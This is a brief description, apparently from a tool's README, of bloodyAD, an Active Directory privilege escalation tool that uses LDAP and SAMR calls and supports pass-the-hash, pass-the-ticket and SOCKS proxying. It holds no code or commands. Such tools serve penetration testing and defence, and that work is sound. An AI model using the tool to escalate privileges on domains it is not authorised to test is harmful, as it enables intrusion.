is an Active Directory privilege escalation swiss army knife
Description
This tool can perform specific LDAP/SAMR calls to a domain controller in order to perform AD privesc.
bloodyAD
supports authentication using cleartext passwords, pass-the-hash, pass-the-ticket or certificates and binds to LDAP services of a domain controller to perform AD privesc.
It is designed to be used transparently with a SOCKS proxy.

How it works
bloodyAD communicates with a DC using mainly the LDAP protocol in order to get information or add/modify/delete AD objects. A password cannot be updated with LDAP, it must be a secure connection that is LDAPS or SAMR. A DC doesn't have LDAPS activated by default because it must be configured (with a certificate) so SAMR is used in those cases. Exchange of sensitive information such as passwords are now supported using cleartext LDAP.
